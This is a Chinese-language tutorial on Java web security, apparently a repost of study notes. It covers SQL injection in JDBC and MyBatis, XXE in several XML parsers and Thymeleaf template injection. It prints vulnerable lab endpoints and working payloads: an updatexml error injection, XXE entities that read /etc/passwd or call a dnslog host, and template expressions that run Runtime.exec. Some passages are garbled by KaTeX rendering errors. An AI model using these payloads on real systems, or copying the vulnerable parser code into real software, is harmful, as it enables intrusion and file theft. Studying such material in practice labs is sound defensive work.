Day66：WEB攻防-Java安全&amp；SPEL表达式&amp；SSTI模版注入&amp；XXE&amp ...

JavaSec搭建

项目下载地址：https://github.com/bewhale/JavaSec

使用java8运行jar文件

登录账号密码均为admin
Hello-Java-Sec搭建

项目下载地址：https://github.com/j3ers3/Hello-Java-Sec

java8 -jar javasec-1.11.jar

登录账号密码均为admin
Java安全-SQL注入-JDBC&MyBatis

   Java操作数据库的三种方式：JDBC，MyBatis，Hibernate
  -Hibernate
  Hibernate是一个Java恒久化框架，它提供了一种将对象映射到关系数据库表的机制。通过Hibernate，开发人员可以使用面向对象的方式来操作数据库，而不须要编写复杂的SQL语句。
  Hibernate的核心头脑是对象关系映射（Object-Relational Mapping，ORM），它将Java对象和数据库表之间建立了映射关系，使开发人员可以通过操作Java对象来实现对数据库的操作，而无需直接操作SQL语句。
  Hibernate提供了一系列的API和工具，用于处理对象的恒久化、查询、缓存和事务管理等方面。它还提供了一个强大的查询语言HQL（Hibernate Query Language），类似于SQL语法，但更加面向对象。
  使用Hibernate可以简化开发过程，进步效率，并且具有良好的跨数据库兼容性。它是Java开发中最盛行的ORM框架之一，被广泛应用于企业级应用程序的开发中。
Hibernate作为一个成熟的框架，在安全性方面体现良好，并且经过了广泛的安全测试和修复。
  -JDBC
1、采用Statement方法拼接SQL语句
2、PrepareStatement会对SQL语句进行预编译，但如果直接采取拼接的方式构造SQL，此时进行预编译也无用。
3、JDBCTemplate是Spring对JDBC的封装，如果使用拼接语句便会产生注入
安全写法：SQL语句占位符（?） + PrepareStatement预编译
  -MyBatis
MyBatis支持两种参数符号，一种是#，另一种是KaTeX parse error: Expected 'EOF', got '#' at position 2: ，#̲使用预编译，使用拼接SQL。
1、order by注入：由于使用#{}会将对象转成字符串，形成order by “user” desc造成错误，因此很多研发会采用                                                 来办理，从而造成注入                            .                            2                            、                            l                            i                            k                            e                            注入：含糊搜索时，直接使                                       用                               ′                                            {}来办理，从而造成注入. 2、like 注入：含糊搜索时，直接使用'%#{q}%' 会报错，部分研发图方便直接改成'%                     来办理，从而造成注入.2、like注入：含糊搜索时，直接使用′{q}%'从而造成注入.
3、in注入：in之后多个id查询时使用 # 同样会报错，从而造成注入.
  -代码审计案例：inxedu后台MyBatis注入
  JDBC：Java语言毗连数据库操作

方式一：采用Statement方法拼接SQL语句(没有预编译)

URL编码解码平台：https://tool.chinaz.com/tools/urlencode.aspx

updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

• 将一个波浪符(~)与当前用户的用户名拼接起来，并将该值作为XML节点的新值更新到XML文档中。
  
• 括号中的concat(0x7e,(SELECT user()),0x7e)表示将波浪符与当前用户的用户名毗连起来。
  
• 0x7e是一个十六进制数，表示的是一个特定的 ASCII 字符，即波浪符（~）。
  

方式二：PrepareStatement会对SQL语句进行预编译，但如果直接采取拼接的方式构造SQL，此时进行预编译也无用。
这种方式不能克制SQL语句的拼接

JDBCTemplate是Spring对JDBC的封装，如果使用拼接语句便会产生注入

安全写法：SQL语句占位符（?） + PrepareStatement预编译
事实证明，最框架的不安全使用会造成SQL注入漏洞
大型网站不消想，小型网站有测试的价值
MyBatis( mybatis是一个优秀的基于java的恒久层框架,它内部封装了 jdbc)

MyBatis支持两种参数符号，一种是#，另一种是KaTeX parse error: Expected 'EOF', got '#' at position 4: ，**#̲使用预编译，使用拼接SQL。（造成注入原因也是因为使用了$进行拼接）**

order by 造成SQL注入：由于使用#{}会将对象转成字符串，形成order by “user” desc造成错误，因此很多研发会采用${}来办理，从而造成注入

这个SQL语句的目的是将0x7e以及当前用户的用户名插入到指定的XML字段中，从而实验恶意操作或泄漏敏感信息。

• 第一个参数是要更新的XML字段
  
• 第二个参数是XPath表达式  ~admin
  
• 第三个参数是要更新的新值。
  

在这个例子中，使用了concat函数来拼接字符串，包括特别字符0x7e（波浪符）以及查询当前用户的子查询select user()。
like 注入：含糊搜索时，直接使用’%#{q}%’ 会报错，部分研发图方便直接改成’%${q}%'从而造成注入.

in注入：in之后多个id查询时使用 # 同样会报错，从而造成注入.

白盒审计
在真实情况下，须要先分析源码里用了那种方式操作数据库(JDBC还是MyBatis)，然后在针对性看代码写法，JDBC如果没用到安全写法，那么就轻易出现问题。MyBatis看代码用了KaTeX parse error: Expected 'EOF', got '#' at position 3: 还是#̲，#号就可以不消看了，符号就看是不是在order by、like、in里面，在就恭喜了。
代码审计案例：inxedu后台MyBatis注入

1、配置安装源码

端口要与配置文件一致

默认/inxedu_war路径即可

启动项目后报错：

2、代码审计分析

通过java文件名判断应该是admin目次，登录后台。

直接把整个哀求数据包放到txt给sqlmap跑即可

Java安全-XXE注入-Reader&Builder

   XXE 
(
XML 
External
Entity
Injection
),
 XML外部实体注入，当开发人员配置其XML解析功能答应外部实体引用时，攻击者可使用这一可引发安全问题的配置方式，实施恣意文件读取、内网端口探测、命令实验、拒绝服务等攻击。
  XML（可扩展标记语言）是一种用于表示和传输布局化数据的标记语言。它被设计成具有可读性强且可扩展的特点，常用于在差别系统之间进行数据交换和存储。
  XML使用标签来描述数据的布局和寄义。每个XML文档都由标签和内容构成，标签用于标识数据的元素，而内容则是元素的具体值或子元素。标签可以嵌套，形成层次布局，以便表示复杂的数据关系.
  在代码审计时须要审计这些XML处理函数，这是一些与XML处理相关的类和接口的列表。它们通常在编程语言中的XML解析库或API中使用，用于读取、解析、转换和处理XML数据。
  

• XMLReader：用于次序读取XML文档的内容，并提供了一种基于变乱的方式来处理XML数据。
  
• SAXReader：一种用于读取息争析XML文档的SAX（Simple API for XML）解析器。
  
• DocumentBuilder：用于创建DOM（Document Object Model）对象的接口，可以将XML文档加载到内存中进行操作。
  
• XMLStreamReader：一种用于读取息争析XML文档的StAX（Streaming API for XML）解析器。
  
• SAXBuilder：用于构建SAX解析器的类，用于读取息争析XML文档。
  
• SAXParser：一种用于解析XML文档的SAX解析器。
  
• SAXSource：用于将SAX变乱作为输入源的对象，可以用于将SAX解析器与其他处理器（如XSLT转换器）进行毗连。
  
• TransformerFactory：用于创建Transformer对象的工厂类，可以将XML文档进行转换、处理和生成。
  
• SAXTransformerFactory：用于创建SAXTransformerHandler对象的工厂类，可以在SAX变乱处理期间进行XML转换和处理。
  
• SchemaFactory：用于创建XML Schema验证器的工厂类，可以用于验证XML文档的布局和内容。
  
• Unmarshaller：用于将XML文档解组为Java对象的接口，通常与Java的XML绑定技术（如JAXB）一起使用。
  
• XPathExpression：用于实验XPath查询的接口，可以在XML文档中查找和选择特定的元素和属性。
  

  配置XML答应引入外部解析实体

方式一：在application.properties（或application.yml）文件中添加以下配置

1. spring.xml.parser.enabled=true

复制代码

方式二：在XML中启用外部实体解析须要进行相关配置。具体的配置方法大概因为使用的XML解析器和库的差别而有所差异。
下面是一些通用的配置方法：

1. // 使用DocumentBuilderFactory：
2. DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
3. factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true);
5. // 使用SAXParserFactory
6. SAXParserFactory factory = SAXParserFactory.newInstance();
7. factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true);
9. // 使用TransformerFactory
10. TransformerFactory factory = TransformerFactory.newInstance();
11. factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, false);

复制代码

这些配置方法通常通过设置相关的特性或属性来实现。具体要设置的特性或属性名称大概因使用的解析器和库的差别而有所差异。上述示例中提到了一些常用的特性或属性名称，但具体的名称大概须要根据你使用的解析器和库进行得当的调整。
黑盒测试：https://blog.csdn.net/m0_51345235/article/details/131503666
白盒测试-XXE

思路：

• 判断是否开启XML外部实体解析
  
• 全局搜索关键类的名字，看看有没有参数可控
  

SAXParser

1.     /**
2.      * javax.xml.parsers.SAXParser 是 XMLReader 的替代品，它提供了更多的安全措施，
3.      * 例如默认禁用 DTD 和外部实体的声明，
4.      * 如果需要使用 DTD 或外部实体，可以手动启用它们，并使用相应的安全措施
5.      */
6.     @ApiOperation(value = "vul：SAXParser")
7.     @RequestMapping(value = "/SAXParser")
8.     public String SAXParser(@RequestParam String content) {
9.         try {
10.             // SAXParserFactory是用于创建SAXParser实例的工厂类。newInstance()方法将返回一个新的SAXParserFactory实例。
11.             SAXParserFactory factory = SAXParserFactory.newInstance();
12.             // 通过SAXParserFactory的newSAXParser()方法创建一个新的SAXParser实例，并将其赋值给变量parser。
13.             SAXParser parser = factory.newSAXParser();
14.             // 创建一个InputSource对象，将XML内容作为StringReader的输入源。
15.             // 调用SAXParser的parse()方法，将InputSource对象和DefaultHandler对象作为参数传入。这将触发SAX解析过程，并开始解析和处理XML内容。
16.             parser.parse(new InputSource(new StringReader(content)), new DefaultHandler());
17.             return "SAXParser XXE";
18.         } catch (Exception e) {
19.             return e.toString();
20.         }
21.     }

复制代码

xmlReader漏洞代码

1.     /**
2.      * @poc http://127.0.0.1:8888/XXE/XMLReader
3.      * Content-Type: application/xml
4.      * payload: <?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "http://0g5zvd.dnslog.cn">]><root>&xxe;</root>
5.      */
6.     @ApiOperation(value = "vul：XMLReader")
7.     @RequestMapping(value = "/XMLReader")
8.     public String XMLReader(@RequestParam String content) {
9.         try {
10.             log.info("[vul] XMLReader: " + content);
11.             // XMLReader接口和XMLReaderFactory类来创建一个XML解析器（XML Parser）
12.             XMLReader xmlReader = XMLReaderFactory.createXMLReader();
13.             // 修复：禁用外部实体
14.             // xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
15.             // 使用XMLReader对象xmlReader来解析XML内容
16.             xmlReader.parse(new InputSource(new StringReader(content)));
17.             return "XMLReader XXE";
18.         } catch (Exception e) {
19.             return e.toString();
20.         }
21.     }

复制代码

DocumentBuilder漏洞代码

1.     /**
2.      * @poc http://127.0.0.1:8888/XXE/DocumentBuilder
3.      * payload: <?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><person><name>&xxe;</name></person>
4.      */
5.     @ApiOperation(value = "vul：DocumentBuilder类")
6.     @RequestMapping(value = "/DocumentBuilder")
7.     public String DocumentBuilder(@RequestParam String content) {
8.         try {
9.             // DocumentBuilderFactory是用于创建DOM模式的解析器对象,newInstance方法会根据本地平台默认安装的解析器，自动创建一个工厂的对象并返回。
10.             DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
12.             DocumentBuilder builder = factory.newDocumentBuilder();
13.             StringReader sr = new StringReader(content);
14.             InputSource is = new InputSource(sr);
15.             Document document = builder.parse(is);
17.             NodeList nodeList = document.getElementsByTagName("person");
18.             Element element = (Element) nodeList.item(0);
19.             return String.format("姓名: %s", element.getElementsByTagName("name").item(0).getFirstChild().getNodeValue());
21.         } catch (Exception e) {
22.             return e.toString();
23.         }
24.     }

复制代码

SAXReader漏洞代码

1.     @ApiOperation(value = "vul：SAXReader")
2.     @RequestMapping(value = "/SAXReader")
3.     public String SAXReader(@RequestParam String content) {
4.         try {
5.             SAXReader sax = new SAXReader();
6.             // 修复：禁用外部实体
7.             // sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
8.             sax.read(new InputSource(new StringReader(content)));
9.             return "SAXReader XXE";
10.         } catch (Exception e) {
11.             return e.toString();
12.         }
13.     }

复制代码

Unmarshaller漏洞代码

1.     /**
2.      * @poc http://127.0.0.1:8888/XXE/unmarshaller (POST)
3.      * payload <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE student[<!ENTITY out SYSTEM "file:///etc/passwd">]><student><name>&out;</name></student>
4.      */
5.     @ApiOperation(value = "vul：Unmarshaller")
6.     @RequestMapping(value = "/unmarshaller")
7.     public String Unmarshaller(@RequestBody String content) {
8.         try {
10.             JAXBContext context = JAXBContext.newInstance(Student.class);
11.             Unmarshaller unmarshaller = context.createUnmarshaller();
13.             XMLInputFactory xif = XMLInputFactory.newFactory();
14.             // 修复：禁用外部实体
15.             // xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
16.             // xif.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
18.             // 默认情况下在1.8版本上不能加载外部dtd文件，需要更改设置。
19.             // xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, true);
20.             // xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);
21.             XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(content));
23.             Object o = unmarshaller.unmarshal(xsr);
24.             log.info("[vul] Unmarshaller: " + content);
26.             return o.toString();
28.         } catch (Exception e) {
29.             e.printStackTrace();
30.         }
31.         return "出错了！";
32.     }

复制代码

SAXBuilder漏洞代码

1.     @ApiOperation(value = "vul：SAXBuilder", notes = "是一个JDOM解析器，能将路径中的XML文件解析为Document对象")
2.     @RequestMapping(value = "/SAXBuilder")
3.     public String SAXBuilder(@RequestBody String content) {
4.         try {
5.             SAXBuilder saxbuilder = new SAXBuilder();
6.             // saxbuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
7.             saxbuilder.build(new InputSource(new StringReader(content)));
8.             return "SAXBuilder XXE";
9.         } catch (Exception e) {
10.             return e.toString();
11.         }
12.     }

复制代码

Java安全-SSTI模版-Thymeleaf&URL

   SSTI(Server Side Template Injection) 服务器模板注入, 服务端接收了用户的输入，将其作为 Web 应用模板内容的一部分，在进行目标编译渲染的过程中，实验了用户插入的恶意内容。
1、URL作视图
2、Velocity
3、Thymeleaf
其他语言参考：https://www.cnblogs.com/bmjoker/p/13508538.html
  有时间学学正则表达式;https://www.jyshare.com/front-end/854/
  URL作视图

原理： 根据spring boot界说，如果controller无返回值，则以GetMapping的路由为视图名称，即将哀求的url作为视图名称，调用模板引擎去解析，在这种情况下，我们只要可以控制哀求的controller的参数，一样可以造成RCE漏洞

/doc/xxxx，xxxx会被匹配到存储进入document，然后就被模板引擎解析，就会造成RCE
payload：__${T(java.lang.Runtime).getRuntime().exec(“open -a Calculator”)}__::.x
白盒角度测试URL做视图

查找含参数@GetMapping路由 无return,先正则@GetMapping(.*?)\s*public\s+void/gm

注意 多行匹配加全局搜索 这样才不会遗漏
Thymeleaf-黑白盒测试思路

Thymeleaf是一种Java服务器端模板引擎，用于构建动态的Web应用程序。它答应开发人员将数据和逻辑与HTML模板结合，生成最终的HTML页面。它与Spring框架紧麋集成，是目前Java开发中广泛使用的模板引擎之一。
Thymeleaf SSTI 模板注入漏洞使用条件：3.0.0 至 3.0.11 版本；3.0.12以后版本已被修复，有bypass方式。纵然版本符合也要没有过滤。
Thymeleaf引擎使用案例

HTML页面的中文显示和英文显示切换功能实现
下面的代码会从lang会接收参数，

• 如果接收en就会返回字符串 lang/en
  
• 如果接收zh就会返回字符串 lang/zh
  

返回的字符串实际上是一个相对路径，会被Thymeleaf引擎解析为对应的模板文件路径。根据约定，默认情况下，Thymeleaf会在src/main/resources/templates目次下查找对应的模板文件。
因此，**如果存在src/main/resources/templates/lang/en.html文件，Thymeleaf引擎会对该模板文件进行处理，并将处理效果返回给客户端。**如果该文件不存在，大概会导致非常或返回一个默认的错误页面。

   Maven-父级依赖管理
  使用IDEA创建的springboot项目，thymeleaf版本不可见
  

  这个依赖声明的artifactId是spring-boot-starter-thymeleaf。要确定Thymeleaf的版本，你可以查察该依赖的父级依赖管理。在Spring Boot项目中，通常会有一个名为spring-boot-dependencies的父级依赖管理，其中界说了各种Spring Boot相关的依赖版本。
  

  可以看到spring-boot-dependencies的版本号为2.4.1。因此，Thymeleaf的版本号应该与Spring Boot的版本号相对应。你可以在Spring Boot的官方文档或官方仓库中找到特定版本的Spring Boot所使用的Thymeleaf版本。大概查察maven管理的jar来判断
  

  通过指定元素，子模块可以继续父级依赖管理中界说的依赖和配置信息，以确保子模块使用与父模块雷同的版本号和配置。
  在这个片断中：
  

• 指定了Spring Boot的组ID为org.springframework.boot
  
• 指定了父级依赖的ID为spring-boot-starter-parent
  
• 指定了使用的版本号为2.4.1。
  
• 是用于指定父级pom.xml文件的相对路径的。在这个片断中，没有提供具体的相对路径，意味着Maven将在当地仓库中查找该父级依赖的pom.xml文件。
  

  **通过继续spring-boot-starter-parent作为父级依赖，子模块可以享受到Spring Boot提供的默认配置和插件，以及同一管理的依赖版本。**这样可以简化子模块的配置，并确保全部子模块使用雷同的依赖和配置。

1. <parent>
2.         <groupId>org.springframework.boot</groupId>
3.         <artifactId>spring-boot-starter-parent</artifactId>
4.         <version>2.4.1</version>
5.         <relativePath/>
6. </parent>

复制代码

指定了Spring Boot的组ID为org.springframework.boot，指定了依赖的ID为spring-boot-starter-thymeleaf。

1. <dependency>
2.     <groupId>org.springframework.boot</groupId>
3.     <artifactId>spring-boot-starter-thymeleaf</artifactId>
4. </dependency>

复制代码

如果想要修改这个组件的版本，可以在网站上搜索：https://mvnrepository.com/artifact/org.thymeleaf/thymeleaf/3.0.0.ALPHA02
  

  黑盒角度测试Thymeleaf SSTI

原理：通过使用Thymelear表达式
参考文章：https://www.cnblogs.com/hjwublog/p/5051632.html
${}：用于访问容器上下文情况中的变量
例如：${user.name}将被替换为用户的名称。
payload：__${T(java.lang.Runtime).getRuntime().exec(“open -a Calculator”)}__::.x
因为${}，可以访问上下文情况变量，通过T(java.lang.Runtime)获取Runtime类的实例，然后调用exec(“open -a Calculator”)方法来实验命令 open -a Calculator。
paylaod构造思路：通过${}::.x构造表达式会由Thymeleaf去实验
里面的类可以用别的，比如：__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
参考文章：https://mp.weixin.qq.com/s/NueP4ohS2vSeRCdx4A7yOg

   漏洞发现：切换主题/配景 的功能区,将参数改为 payload
  白盒角度测试Thymeleaf SSTI

先确定thymeleaf的版本，漏洞使用版本：3.0.0 至 3.0.11 版本
正则表达式搜索特性：https://www.jyshare.com/front-end/854/
思路一：全局搜索 return "

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。